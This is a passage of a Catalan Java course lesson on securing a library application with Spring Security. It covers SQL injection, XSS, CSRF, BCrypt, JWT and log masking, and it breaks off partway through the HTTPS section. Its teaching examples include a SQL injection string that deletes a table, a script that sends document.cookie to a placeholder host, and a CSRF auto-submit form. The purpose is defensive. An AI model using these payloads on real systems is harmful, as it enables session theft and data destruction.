BiblioTech és en producció. I té dos forats de la mida d'un projecte sencer.

El primer: qualsevol pot fer qualsevol cosa. No hi ha autenticació, no hi ha autorització, les contrasenyes no existeixen com a concepte, l'API està oberta a qui la trobi i ningú no ha comprovat si és vulnerable a les coses que fan que les aplicacions acabin a les notícies.

El segon: quan alguna cosa falli, te n'assabentaràs per una trucada de telèfon. No hi ha mètriques, no hi ha traces, no hi ha alertes. L'única cosa que existeix és text a la sortida estàndard d'un contenidor que es destrueix en el desplegament següent.

Aquesta lliçó tanca els dos forats, i tanca el curs.

S'organitza en quatre parts. Seguretat: què ataca una aplicació Java i com se'n defensa BiblioTech de cada cosa, amb Spring Security aplicat de debò. Observabilitat: els tres pilars, i com saber què passa dins d'un sistema al qual no pots connectar un depurador. Evolució: com aconseguir que un sistema sobrevisqui als anys, als canvis d'API, a les actualitzacions i al creixement. I el tancament del curs: el viatge complet de BiblioTech mòdul a mòdul, el que saps fer ara, el que aquest curs no cobreix, i per on continuar.

Contingut

  1. Mínim privilegi i defensa en profunditat
  2. Les vulnerabilitats més comunes en una aplicació Java
  3. Dependències vulnerables i SBOM
  4. Spring Security: la cadena de filtres
  5. Autenticació enfront d'autorització
  6. SecurityFilterChain: la configuració moderna
  7. Contrasenyes: BCrypt i el que no es fa mai
  8. Autorització amb @PreAuthorize
  9. JWT per a l'API REST
  10. HTTPS, capçaleres de seguretat i límits
  11. Validació de tota entrada externa
  12. Advertència sobre seguretat real
  13. Observabilitat: els tres pilars
  14. Actuator i Micrometer
  15. Mètriques de negoci
  16. Prometheus i Grafana
  17. Els quatre senyals d'or
  18. Traces distribuïdes
  19. Registres en producció
  20. Alertes útils enfront del soroll
  21. El quadre de comandament de BiblioTech
  22. Versionat de l'API i depreciació
  23. Deute tècnic i actualitzacions
  24. Documentació que sobreviu
  25. Com fer créixer BiblioTech
  26. Quan NO trossejar en microserveis
  27. Errors Comuns i Consells
  28. Exercicis
  29. Tancament del curs

Part I: Seguretat

  1. Mínim privilegi i defensa en profunditat

Dos principis sostenen tota la resta.

Mínim privilegi: cada component ha de tenir exactament els permisos que necessita, i ni un més.

Component Privilegi incorrecte Privilegi mínim
Usuari de base de dades postgres (superusuari) SELECT/INSERT/UPDATE/DELETE sobre l'esquema de l'aplicació
Usuari del contenidor root UID 1001, sense capacitats
Token de l'API de metadades Lectura i escriptura Només lectura
Empleat a BiblioTech Administrador EMPLEAT, i BIBLIOTECARI només qui ho necessita
Token de CI Accés total al repositori contents: read, packages: write
-- L'usuari de l'aplicació NO ha de poder esborrar taules
CREATE USER bibliotech_app WITH PASSWORD :'clau';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- Sense CREATE, sense DROP, sense ALTER: l'esquema el governa Flyway amb UN ALTRE usuari

CREATE USER bibliotech_migracions WITH PASSWORD :'clau_migracions';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migracions;

Que les migracions facin servir un usuari diferent del de l'aplicació té una conseqüència concreta: una injecció SQL a l'aplicació no pot esborrar taules, perquè l'usuari que l'executa no en té permís.

Defensa en profunditat: diverses capes independents, de manera que fallar-ne una no comprometi el sistema.

flowchart TD
    A["Atacant"] --> C1["1. WAF / limitació de taxa"]
    C1 --> C2["2. TLS i capçaleres de seguretat"]
    C2 --> C3["3. Autenticació (JWT)"]
    C3 --> C4["4. Autorització (rols i @PreAuthorize)"]
    C4 --> C5["5. Validació d'entrada"]
    C5 --> C6["6. Consultes parametritzades"]
    C6 --> C7["7. Permisos mínims a la base de dades"]
    C7 --> D[("Dades")]

Set capes. Un atacant que superi la validació d'entrada encara es troba amb consultes parametritzades; si superés això, amb un usuari de base de dades que no pot esborrar res. Cap capa no és suficient per si sola, i aquesta és exactament la idea.

  1. Les vulnerabilitats més comunes en una aplicació Java

# Vulnerabilitat Què permet Prevenció a BiblioTech
1 Injecció SQL Llegir, modificar o esborrar tota la base de dades JPA amb paràmetres; mai concatenar (11-03)
2 XSS Executar JavaScript al navegador d'un altre usuari Escapament automàtic de Thymeleaf; CSP
3 CSRF Executar accions en nom de l'usuari Token CSRF als formularis; irrellevant amb JWT a la capçalera
4 Control d'accés trencat Veure o modificar dades d'altri @PreAuthorize + comprovació de propietat
5 Deserialització insegura Execució remota de codi Mai deserialitzar dades externes; sense tipatge dinàmic (07-05, 11-07)
6 Exposició de dades sensibles Filtrar contrasenyes, tokens, dades personals DTOs; sense traces cap al client; filtres al log (06-07)
7 Dependències vulnerables El que permeti el CVE Anàlisi automàtica, actualitzacions, SBOM (11-01)
8 Configuració insegura Endpoints d'administració oberts, credencials per defecte Actuator restringit; sense valors per defecte en producció
9 Errors criptogràfics Contrasenyes desxifrades, trànsit interceptat BCrypt; TLS obligatori
10 Manca de registre i monitoratge Un atac passa desapercebut durant mesos Auditoria i alertes (part II)

1. Injecció SQL. L'atac clàssic i encara el més rendible:

// VULNERABLE. Amb text = "'; DELETE FROM prestecs; --" la consulta es converteix en dues.
String jpql = "select m from Material m where m.titol like '%" + text + "%'";
em.createQuery(jpql, Material.class).getResultList();
// SEGUR: el parametre MAI no es tracta com a SQL. Es un valor, no codi.
em.createQuery("select m from Material m where lower(m.titol) like lower(:text)", Material.class)
  .setParameter("text", "%" + text + "%")
  .getResultList();

Per què funciona: el motor rep la consulta i els paràmetres per canals separats. La consulta es compila abans de conèixer els valors, de manera que un valor no en pot canviar l'estructura. Spring Data ho fa així per defecte, i CriteriaBuilder (12-04) també.

El punt on encara és possible equivocar-se, i que mereix vigilància especial:

// PERILL: la clausula ORDER BY NO es pot parametritzar
@Query(value = "select * from materials order by " + "#{#ordre}", nativeQuery = true)   // MALAMENT
// SEGUR: llista blanca. El text que arriba de fora no entra mai a lestructura de la consulta.
private static final Set<String> ORDRES_PERMESES = Set.of("titol", "autor", "any_publicacio");

public List<Material> ordenatsPer(String camp) {
    if (!ORDRES_PERMESES.contains(camp)) {
        throw new ParametreInvalidException("Ordre no permes: " + camp);
    }
    return em.createQuery("select m from Material m order by m." + camp, Material.class)
             .getResultList();
}

2. XSS (Cross-Site Scripting). Passa en servir HTML amb dades que hi ha introduït un usuari:

<!-- VULNERABLE: si el titol es <script>fetch('http://malo/'+document.cookie)</script> -->
<td th:utext="${material.titol}"></td>
<!-- SEGUR: th:text ESCAPA el HTML. Es el valor per defecte de Thymeleaf. -->
<td th:text="${material.titol}"></td>

th:utext (unescaped) existeix per a casos legítims i és exactament el que obre la porta. La regla és: th:utext només amb contingut que hagis generat tu, mai amb dades d'usuari.

Per a una API REST que retorna JSON el risc és menor —Jackson escapa correctament—, però la defensa addicional és la Content Security Policy (apartat 10).

3. CSRF (Cross-Site Request Forgery). Una pàgina maliciosa que l'usuari visita mentre té la sessió oberta a BiblioTech:

<!-- A lloc-malicios.com -->
<form action="https://bibliotech.nexussoftware.com/api/materials/978-0000000001" method="POST">
  <input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>

Si l'autenticació va per galeta de sessió, el navegador l'envia automàticament i la petició s'executa. Proteccions:

Autenticació Vulnerable a CSRF? Protecció
Galeta de sessió Token CSRF + SameSite=Strict
JWT a la capçalera Authorization No El navegador no l'envia sol
JWT en una galeta Token CSRF igualment

Per això Spring Security desactiva CSRF a les API sense estat amb JWT a la capçalera: no és deixadesa, és que el vector d'atac no existeix.

4. Control d'accés trencat. El més freqüent i el més subestimat:

// VULNERABLE: qualsevol empleat autenticat veu els prestecs de qualsevol altre
@GetMapping("/api/empleats/{id}/prestecs")
public List<PrestecResponse> prestecsDe(@PathVariable Long id) {
    return gestor.prestecsDe(id).stream().map(PrestecResponse::desDe).toList();
}
// SEGUR: o ets tu, o ets bibliotecari
@GetMapping("/api/empleats/{id}/prestecs")
@PreAuthorize("#id == authentication.principal.id or hasRole('BIBLIOTECARI')")
public List<PrestecResponse> prestecsDe(@PathVariable Long id) { … }

El nom tècnic d'aquesta vulnerabilitat és IDOR (referència directa insegura a objectes), i la regla que l'evita és simple d'enunciar i fàcil d'oblidar: no n'hi ha prou de saber qui ets; cal comprovar que aquell recurs és teu.

5. Deserialització insegura. Reprèn 07-05 i 11-07, i mereix un avís destacat perquè no és una fallada de confidencialitat: és execució remota de codi.

// EXTREMADAMENT PERILLOS: mai amb dades que no controles.
ObjectInputStream ois = new ObjectInputStream(entradaUsuari);
Object objecte = ois.readObject();      // aixo pot executar codi arbitrari

Un atacant construeix un graf d'objectes que, en deserialitzar-se, encadena crides de llibreries presents al classpath (gadget chains) fins a arribar a Runtime.exec(). No cal que la classe atacada sigui teva.

// I a Jackson, el cas equivalent:
mapper.enableDefaultTyping();                          // MAI amb dades externes
mapper.activateDefaultTyping(validador, …);            // nomes amb llista blanca estricta

Regles: no facis servir serialització Java per a dades externes; fes servir JSON amb classes concretes; si necessites polimorfisme, @JsonTypeInfo amb @JsonSubTypes explícits reforçats per sealed; i si heretes codi que deserialitza, aplica-hi un ObjectInputFilter (Java 9+).

6. Exposició de dades sensibles. Tres vectors, els tres presents a BiblioTech abans d'aquesta lliçó:

// (a) A la resposta: entitat exposada amb el hash de la contrasenya
@GetMapping("/api/empleats/{id}")
public Empleat perId(@PathVariable Long id) { … }      // MALAMENT: DTO, sempre (12-01)

// (b) Al log: dades personals i credencials
log.info("Autenticant {} amb contrasenya {}", correu, contrasenya);    // MALAMENT, i molt comu
log.debug("Peticio rebuda: {}", peticio);                              // que porta a dins?

// (c) Als errors: la pila completa revela versions i estructura interna
server.error.include-stacktrace: always                                 // MALAMENT (12-04)

La defensa al log, amb un filtre que emmascara:

public class EmmascaradorDadesSensibles extends ClassicConverter {

    private static final List<Pattern> PATRONS = List.of(
        Pattern.compile("(\"(?:password|contrasenya|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
                        Pattern.CASE_INSENSITIVE),
        Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
        Pattern.compile("\\b(\\d{8})([A-Za-z])\\b")     // DNI
    );

    @Override
    public String convert(ILoggingEvent esdeveniment) {
        String missatge = esdeveniment.getFormattedMessage();
        for (Pattern p : PATRONS) {
            missatge = p.matcher(missatge).replaceAll("$1***$3");
        }
        return missatge;
    }
}

  1. Dependències vulnerables i SBOM

Reprèn 11-01 i Log4Shell. El teu codi pot ser impecable i tot i així ser vulnerable, perquè el 90 % del que s'executa en producció ho va escriure una altra persona.

Anàlisi automàtica:

<plugin>
  <groupId>org.owasp</groupId>
  <artifactId>dependency-check-maven</artifactId>
  <version>10.0.4</version>
  <configuration>
    <failBuildOnCVSS>7</failBuildOnCVSS>      <!-- CVSS 7+ = alta o critica -->
    <suppressionFiles>
      <suppressionFile>config/supressions-cve.xml</suppressionFile>
    </suppressionFiles>
  </configuration>
  <executions>
    <execution><goals><goal>check</goal></goals></execution>
  </executions>
</plugin>
./mvnw org.owasp:dependency-check-maven:check
open target/dependency-check-report.html

Dependabot, que obre PRs automàticament:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: maven
    directory: "/"
    schedule: { interval: weekly, day: monday }
    open-pull-requests-limit: 10
    groups:
      spring:
        patterns: ["org.springframework*"]     # agrupar: menys soroll
      proves:
        patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
    ignore:
      - dependency-name: "*"
        update-types: ["version-update:semver-major"]   # les majors, a mà

SBOM (Software Bill of Materials): l'inventari complet de tot el que conté l'artefacte. Quan aparegui el pròxim Log4Shell, la pregunta «ens afecta?» es respon amb una consulta a l'SBOM en lloc de amb dos dies d'arqueologia.

<plugin>
  <groupId>org.cyclonedx</groupId>
  <artifactId>cyclonedx-maven-plugin</artifactId>
  <version>2.8.1</version>
  <executions>
    <execution>
      <phase>package</phase>
      <goals><goal>makeAggregateBom</goal></goals>
    </execution>
  </executions>
</plugin>
./mvnw package        # genera target/bom.json i target/bom.xml
grep -i "log4j" target/bom.json      # resposta en un segon

  1. Spring Security: la cadena de filtres

Spring Security és, essencialment, una cadena de filtres de servlet que s'executa abans que la petició arribi al DispatcherServlet (12-04). És el patró Cadena de responsabilitat de 12-02 en la seva forma més pura.

flowchart TD
    P["Petició HTTP"] --> F1["SecurityContextPersistenceFilter<br/>recupera el context"]
    F1 --> F2["CorsFilter"]
    F2 --> F3["CsrfFilter"]
    F3 --> F4["FiltreJwt (el nostre)<br/>valida el token i autentica"]
    F4 --> F5["AnonymousAuthenticationFilter"]
    F5 --> F6["ExceptionTranslationFilter<br/>converteix excepcions en 401/403"]
    F6 --> F7["AuthorizationFilter<br/>té permís?"]
    F7 --> D["DispatcherServlet"]
    D --> C["Controlador"]

    F7 -.->|"sense permís"| E["403 Forbidden"]
    F4 -.->|"token invàlid"| E401["401 Unauthorized"]

    style F4 fill:#e3f2fd,stroke:#1565c0

Cada filtre fa una cosa i passa el control al següent. La conseqüència pràctica: afegir autenticació pròpia és inserir un filtre al punt correcte, no reescriure res.

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-security</artifactId>
</dependency>

Només amb aquesta dependència, tota l'aplicació queda protegida amb autenticació bàsica i una contrasenya generada que apareix al log. És un valor per defecte deliberadament segur: si no configures res, no queda obert.

  1. Autenticació enfront d'autorització

Autenticació Autorització
Pregunta Qui ets? Què pots fer?
Quan Un cop, en entrar A cada operació
Fallada 401 Unauthorized 403 Forbidden
A BiblioTech Correu i contrasenya → JWT Rols i comprovació de propietat

Els conceptes de Spring Security:

Concepte Què és A BiblioTech
Authentication Qui està autenticat i amb quins permisos L'empleat i els seus rols
Principal La identitat UsuariBiblioTech (el nostre UserDetails)
GrantedAuthority Un permís ROLE_EMPLEAT, ROLE_BIBLIOTECARI
SecurityContext Contenidor de l'autenticació actual En un ThreadLocal
UserDetailsService Carrega l'usuari pel seu identificador Consulta la taula empleats
PasswordEncoder Codifica i verifica contrasenyes BCrypt

Rols de BiblioTech:

Rol Pot
EMPLEAT Veure el catàleg, crear els seus préstecs i reserves, veure les seves multes
BIBLIOTECARI Tot l'anterior + gestionar el catàleg, veure els préstecs de tothom, condonar multes
ADMIN Tot l'anterior + gestionar empleats, veure endpoints d'administració

  1. SecurityFilterChain: la configuració moderna

La forma antiga (WebSecurityConfigurerAdapter) està eliminada des de Spring Security 6. L'actual és declarativa, amb beans i lambdes:

@Configuration
@EnableWebSecurity
@EnableMethodSecurity          // habilita @PreAuthorize
public class ConfiguracioSeguretat {

    private final FiltreAutenticacioJwt filtreJwt;
    private final GestorErrorsSeguretat gestorErrors;

    @Bean
    SecurityFilterChain cadenaFiltres(HttpSecurity http) throws Exception {
        return http
            // API sense estat: no hi ha sessio de servidor, per tant no hi ha CSRF per galeta
            .csrf(AbstractHttpConfigurer::disable)
            .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))

            .cors(cors -> cors.configurationSource(fontCors()))

            .authorizeHttpRequests(rutes -> rutes
                // --- Public ---
                .requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refrescar").permitAll()
                .requestMatchers("/actuator/health/**").permitAll()

                // --- Nomes lectura del cataleg: qualsevol empleat autenticat ---
                .requestMatchers(HttpMethod.GET, "/api/materials/**").hasAnyRole("EMPLEAT", "BIBLIOTECARI", "ADMIN")

                // --- Gestio del cataleg: bibliotecaris ---
                .requestMatchers(HttpMethod.POST,   "/api/materials/**").hasRole("BIBLIOTECARI")
                .requestMatchers(HttpMethod.PUT,    "/api/materials/**").hasRole("BIBLIOTECARI")
                .requestMatchers(HttpMethod.PATCH,  "/api/materials/**").hasRole("BIBLIOTECARI")
                .requestMatchers(HttpMethod.DELETE, "/api/materials/**").hasRole("BIBLIOTECARI")

                // --- Administracio ---
                .requestMatchers("/api/empleats/**").hasRole("ADMIN")
                .requestMatchers("/actuator/**").hasRole("ADMIN")

                // --- Documentacio: nomes fora de produccio (veure perfil) ---
                .requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")

                // --- Regla final: TOTA la resta requereix autenticacio ---
                // denyAll implicit per defecte: el que no es declara, no passa
                .anyRequest().authenticated())

            .exceptionHandling(e -> e
                .authenticationEntryPoint(gestorErrors)        // 401 en format Problem Details
                .accessDeniedHandler(gestorErrors))            // 403 idem

            // El nostre filtre ABANS del que fa login amb usuari i contrasenya
            .addFilterBefore(filtreJwt, UsernamePasswordAuthenticationFilter.class)

            .headers(h -> h
                .frameOptions(FrameOptionsConfig::deny)
                .contentSecurityPolicy(csp -> csp.policyDirectives(
                    "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
                .httpStrictTransportSecurity(hsts -> hsts
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31_536_000)))

            .build();
    }

    @Bean
    PasswordEncoder codificadorContrasenyes() {
        // Forca 12: ~250 ms per verificacio en maquinari de 2026.
        // Prou lent per a un atacant, tolerable per a un usuari.
        return new BCryptPasswordEncoder(12);
    }

    @Bean
    AuthenticationManager gestorAutenticacio(AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
}

Dos detalls que marquen la diferència:

  • L'ordre de les regles importa. S'avaluen de dalt a baix i guanya la primera que encaixa. Posar .anyRequest().authenticated() al principi anul·laria tota la resta.
  • .anyRequest().authenticated() al final és la xarxa de seguretat: un endpoint nou queda protegit per defecte. Sense aquesta línia, qualsevol ruta no contemplada quedaria oberta.

  1. Contrasenyes: BCrypt i el que no es fa mai

Regla absoluta: les contrasenyes NO es desen mai de manera que es puguin recuperar. Ni en clar, ni xifrades de forma reversible, ni amb MD5, ni amb SHA-1, ni amb SHA-256 a seques. Es desa un hash lent amb sal, i el sistema no coneix mai la contrasenya original.

Per què no serveixen els hashos ràpids:

Algorisme Hashos per segon (GPU, 2026) Temps per a 8 caràcters alfanumèrics
MD5 ~200.000 milions segons
SHA-1 ~80.000 milions segons
SHA-256 ~20.000 milions minuts
BCrypt (força 12) ~4.000 segles

SHA-256 és un algorisme excel·lent… per a allò per a què va ser dissenyat, que és la integritat de dades. Per a contrasenyes, la seva virtut —la velocitat— és exactament el defecte. BCrypt està dissenyat per ser deliberadament lent i perquè la seva lentitud es pugui ajustar a mesura que el maquinari millora.

@Service
public class ServeiAutenticacio {

    private final RepositoriEmpleats empleats;
    private final PasswordEncoder codificador;

    /** Registre: la contrasenya es codifica i es descarta de seguida. */
    @Transactional
    public Empleat registrar(String nom, String correu, char[] contrasenya) {
        validarFortalesa(contrasenya);
        try {
            String hash = codificador.encode(new String(contrasenya));
            return empleats.desar(Empleat.nou(nom, correu, hash));
        } finally {
            Arrays.fill(contrasenya, '\0');   // sobreescriure en memoria (12-03)
        }
    }

    public Optional<Empleat> autenticar(String correu, String contrasenya) {
        Optional<Empleat> empleat = empleats.cercarPerCorreu(correu);

        if (empleat.isEmpty()) {
            // Comparar contra un hash fictici perque el temps de resposta
            // sigui sempre el mateix, existeixi o no aquest usuari. Sense
            // aixo, un atacant pot ENUMERAR usuaris mesurant la latencia.
            codificador.matches(contrasenya, HASH_FICTICI);
            return Optional.empty();
        }
        if (!codificador.matches(contrasenya, empleat.get().getHashContrasenya())) {
            return Optional.empty();
        }
        return empleat;
    }
}

Un hash de BCrypt té aquesta forma, i conté tot el que cal per verificar-lo:

$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
 │   │  └────────────────────┬──────────────────────────────┘
 │   │                       └─ sal (22) + hash (31), en base64
 │   └───────────────────────── cost: 2^12 = 4.096 iteracions
 └───────────────────────────── versió de l'algorisme

La sal és diferent per a cada contrasenya, cosa que fa inútils les taules precalculades i significa que dos usuaris amb la mateixa contrasenya tenen hashos diferents.

Validació de fortalesa, amb criteri modern (NIST SP 800-63B):

private void validarFortalesa(char[] contrasenya) {
    // La llargada importa MES que la complexitat: "cavall bateria grapa correcta"
    // es mes forta que "P@ssw0rd" i molt mes facil de recordar.
    if (contrasenya.length < 12) {
        throw new ContrasenyaFebleException("Minim 12 caracters");
    }
    if (contrasenya.length > 128) {
        throw new ContrasenyaFebleException("Maxim 128 caracters");   // evitar DoS amb BCrypt
    }
    if (esComuna(new String(contrasenya))) {
        throw new ContrasenyaFebleException("Aquesta contrasenya apareix en filtracions conegudes");
    }
}

Alternatives a BCrypt, en ordre de preferència actual: Argon2id (guanyador del Password Hashing Competition, resistent a atacs amb GPU i ASIC), scrypt i BCrypt. Tots tres són acceptables; BCrypt és el més disponible i provat de l'ecosistema Java.

  1. Autorització amb @PreAuthorize

La configuració per URL és un primer filtre; l'autorització fina va als serveis, perquè el mateix cas d'ús l'invoquen l'API, la CLI i les tasques programades.

@Service
public class GestorPrestecs implements GestionarPrestecs {

    @Override
    @Transactional
    @PreAuthorize("hasRole('EMPLEAT')")
    public Prestec prestar(Isbn isbn, Long idEmpleat, Integer dies) { … }

    /** O es un prestec teu, o ets bibliotecari. */
    @Override
    @Transactional
    @PreAuthorize("@propietat.esElSeuPrestec(#idPrestec) or hasRole('BIBLIOTECARI')")
    public ResultatDevolucio retornar(Long idPrestec, LocalDate data) { … }

    /** Condonar una multa es una decisio amb impacte economic. */
    @Override
    @Transactional
    @PreAuthorize("hasRole('BIBLIOTECARI')")
    @Auditat(accio = "CONDONAR_MULTA")
    public void condonarMulta(Long idPrestec, String motiu) { … }

    /** Filtrar el resultat: cadascu veu el que es seu. */
    @Override
    @PostFilter("filterObject.idEmpleat == authentication.principal.id or hasRole('BIBLIOTECARI')")
    public List<Prestec> totsElsActius() { … }
}

El bean de comprovació de propietat, que és el que tanca el forat de l'IDOR:

@Component("propietat")
public class ComprovadorPropietat {

    private final RepositoriPrestecs prestecs;

    public boolean esElSeuPrestec(Long idPrestec) {
        Long idUsuari = usuariActual().getId();
        return prestecs.cercarPerId(idPrestec)
                .map(p -> p.getIdEmpleat().equals(idUsuari))
                .orElse(false);
    }

    private UsuariBiblioTech usuariActual() {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        if (auth == null || !(auth.getPrincipal() instanceof UsuariBiblioTech usuari)) {
            throw new AccessDeniedException("Sense usuari autenticat");
        }
        return usuari;
    }
}

I una advertència tècnica que connecta amb 12-02: @PreAuthorize funciona per proxy, exactament igual que @Transactional. Per tant, no s'aplica en autoinvocacions (this.metode()) ni en mètodes privats o final. És el mateix mecanisme i les mateixes limitacions.

Auditoria de les accions sensibles, amb un aspecte (11-02):

@Aspect
@Component
public class AspecteAuditoria {

    private static final Logger auditoria = LoggerFactory.getLogger("AUDITORIA");

    @AfterReturning("@annotation(auditat)")
    public void registrar(JoinPoint punt, Auditat auditat) {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        auditoria.info("accio={} usuari={} arguments={} traceId={}",
                auditat.accio(),
                auth != null ? auth.getName() : "anonim",
                Arrays.toString(punt.getArgs()),
                MDC.get("traceId"));
    }
}

El registre d'auditoria és diferent del registre d'aplicació: es conserva més temps, no es pot desactivar, i és el que respon a «qui ha condonat aquesta multa de 200 €?».

  1. JWT per a l'API REST

Un JWT (JSON Web Token) és una cadena signada que conté afirmacions sobre l'usuari. El seu avantatge: el servidor no desa estat de sessió, cosa que permet l'escalat horitzontal de 12-06.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn
└──────── capçalera ───────┘ └──────── càrrega útil ──────┘ └── signatura ──┘
// Capcalera                         // Carrega util
{ "alg": "HS256", "typ": "JWT" }     { "sub": "1",
                                       "correu": "[email protected]",
                                       "roles": ["EMPLEAT", "BIBLIOTECARI"],
                                       "iat": 1785000000,
                                       "exp": 1785003600 }

Avís fonamental: la càrrega útil NO està xifrada, només signada. Qualsevol la pot descodificar en base64 i llegir-la. La signatura garanteix que no ha estat modificada, no que sigui secreta. No posis mai en un JWT res que no vulguis que es llegeixi.

El flux complet:

sequenceDiagram
    autonumber
    participant C as Client
    participant A as AuthController
    participant S as ServeiAutenticacio
    participant J as ServeiJwt
    participant F as FiltreJwt
    participant R as PrestecController

    C->>A: POST /api/auth/login {correu, contrasenya}
    A->>S: autenticar(correu, contrasenya)
    S->>S: BCrypt.matches(contrasenya, hash)
    S-->>A: Empleat
    A->>J: generarAcces(empleat) i generarRefresc(empleat)
    J-->>A: token d'acces (15 min) + token de refresc (7 dies)
    A-->>C: 200 {tokenAcces, tokenRefresc, expiraEn}

    Note over C: desa els tokens

    C->>F: GET /api/prestecs + Authorization Bearer token
    F->>J: validar(token)
    J-->>F: afirmacions (sub, roles)
    F->>F: SecurityContext amb l'autenticacio
    F->>R: continua la cadena
    R-->>C: 200 amb els prestecs

    Note over C,F: quan el token d'acces caduca

    C->>A: POST /api/auth/refrescar {tokenRefresc}
    A->>J: validar i comprovar que no esta revocat
    A-->>C: 200 amb un token d'acces nou
@Service
public class ServeiJwt {

    private final SecretKey clau;
    private final Duration vigenciaAcces;
    private final Duration vigenciaRefresc;
    private final Clock rellotge;                 // 10-05: injectable, per poder provar-lo

    public ServeiJwt(PropietatsJwt props, Clock rellotge) {
        // La clau prove de la configuracio externa i ha de tenir 256 bits com a minim.
        // Si es curta o es al codi, la signatura es falsificable.
        byte[] bytes = Decoders.BASE64.decode(props.secret());
        if (bytes.length < 32) {
            throw new IllegalStateException("La clau JWT ha de tenir com a minim 256 bits");
        }
        this.clau = Keys.hmacShaKeyFor(bytes);
        this.vigenciaAcces = props.vigenciaAcces();
        this.vigenciaRefresc = props.vigenciaRefresc();
        this.rellotge = rellotge;
    }

    public String generarAcces(UsuariBiblioTech usuari) {
        Instant ara = Instant.now(rellotge);
        return Jwts.builder()
                .subject(String.valueOf(usuari.getId()))
                .claim("correu", usuari.getUsername())
                .claim("roles", usuari.getAuthorities().stream()
                        .map(GrantedAuthority::getAuthority).toList())
                .issuer("bibliotech.nexussoftware.com")
                .issuedAt(Date.from(ara))
                .expiration(Date.from(ara.plus(vigenciaAcces)))
                .id(UUID.randomUUID().toString())      // jti: permet revocar aquest token concret
                .signWith(clau, Jwts.SIG.HS256)
                .compact();
    }

    public Claims validar(String token) {
        try {
            return Jwts.parser()
                    .verifyWith(clau)
                    .requireIssuer("bibliotech.nexussoftware.com")
                    .clockSkewSeconds(30)              // tolerancia de rellotge entre servidors
                    .build()
                    .parseSignedClaims(token)
                    .getPayload();
        } catch (ExpiredJwtException e) {
            throw new TokenCaducatException(e);         // el client ha de refrescar
        } catch (JwtException | IllegalArgumentException e) {
            throw new TokenInvalidException(e);         // signatura incorrecta o token manipulat
        }
    }
}
@Component
public class FiltreAutenticacioJwt extends OncePerRequestFilter {

    private final ServeiJwt jwt;
    private final RegistreTokensRevocats revocats;

    @Override
    protected void doFilterInternal(HttpServletRequest peticio, HttpServletResponse resposta,
                                    FilterChain cadena) throws ServletException, IOException {
        try {
            extreureToken(peticio).ifPresent(token -> {
                Claims afirmacions = jwt.validar(token);

                if (revocats.estaRevocat(afirmacions.getId())) {
                    throw new TokenRevocatException();
                }

                var autoritats = ((List<?>) afirmacions.get("roles")).stream()
                        .map(String::valueOf)
                        .map(SimpleGrantedAuthority::new)
                        .toList();

                var autenticacio = new UsernamePasswordAuthenticationToken(
                        new UsuariBiblioTech(Long.valueOf(afirmacions.getSubject()),
                                             afirmacions.get("correu", String.class), autoritats),
                        null, autoritats);

                SecurityContextHolder.getContext().setAuthentication(autenticacio);

                // Correlacio amb el MDC de 11-07: qui fa la peticio
                MDC.put("usuariId", afirmacions.getSubject());
            });

            cadena.doFilter(peticio, resposta);

        } catch (TokenCaducatException | TokenInvalidException | TokenRevocatException e) {
            SecurityContextHolder.clearContext();
            escriureProblema(resposta, HttpStatus.UNAUTHORIZED, e.getMessage());
        } finally {
            MDC.remove("usuariId");      // regla de 11-07: netejar SEMPRE en un pool de fils
        }
    }

    private Optional<String> extreureToken(HttpServletRequest peticio) {
        String capcalera = peticio.getHeader(HttpHeaders.AUTHORIZATION);
        return (capcalera != null && capcalera.startsWith("Bearer "))
                ? Optional.of(capcalera.substring(7))
                : Optional.empty();
    }
}

Els riscos del JWT, sense adorns:

Risc Per què Mitigació
No es pot revocar És vàlid fins que caduca; el servidor no el consulta Vigència curta (15 min) + llista de revocats per jti
Càrrega útil llegible Només està signada Res sensible a dins
Robatori del token Qui el tingui, ets tu HTTPS obligatori; vigència curta
Atac alg: none Un token sense signatura, acceptat per analitzadors mal fets servir Exigir l'algorisme explícitament en validar
Clau feble HS256 amb una clau curta es trenca per força bruta Mínim 256 bits, des de variable d'entorn
Emmagatzematge al client localStorage és accessible des d'un XSS Galeta HttpOnly + Secure + SameSite

On desar el token al navegador, que és la decisió més discutida:

Ubicació XSS CSRF Veredicte
localStorage Vulnerable Immune Còmode, pitjor
sessionStorage Vulnerable Immune Igual, però es perd en tancar
Galeta HttpOnly+Secure+SameSite=Strict Immune Protegida per SameSite Preferible

La raó: una galeta HttpOnly no és accessible des de JavaScript, així que un XSS no la pot robar. Amb localStorage, un sol XSS en qualsevol pàgina del teu domini lliura el token sencer.

I el token de refresc, que sí que és revocable perquè es desa a la base de dades:

@Entity
public class TokenRefresc {
    @Id private String id;                    // jti
    private Long idEmpleat;
    private String hashToken;                 // el token tambe es desa amb hash
    private Instant caducaEn;
    private Instant revocatEn;
    private String dispositiu;                // per poder mostrar "sessions actives"
}

  1. HTTPS, capçaleres de seguretat i límits

HTTPS és obligatori, sense excepcions. Sense TLS, credencials i tokens viatgen en clar per qualsevol xarxa intermèdia.

server:
  ssl:
    enabled: true
    key-store: ${TLS_KEYSTORE_PATH}
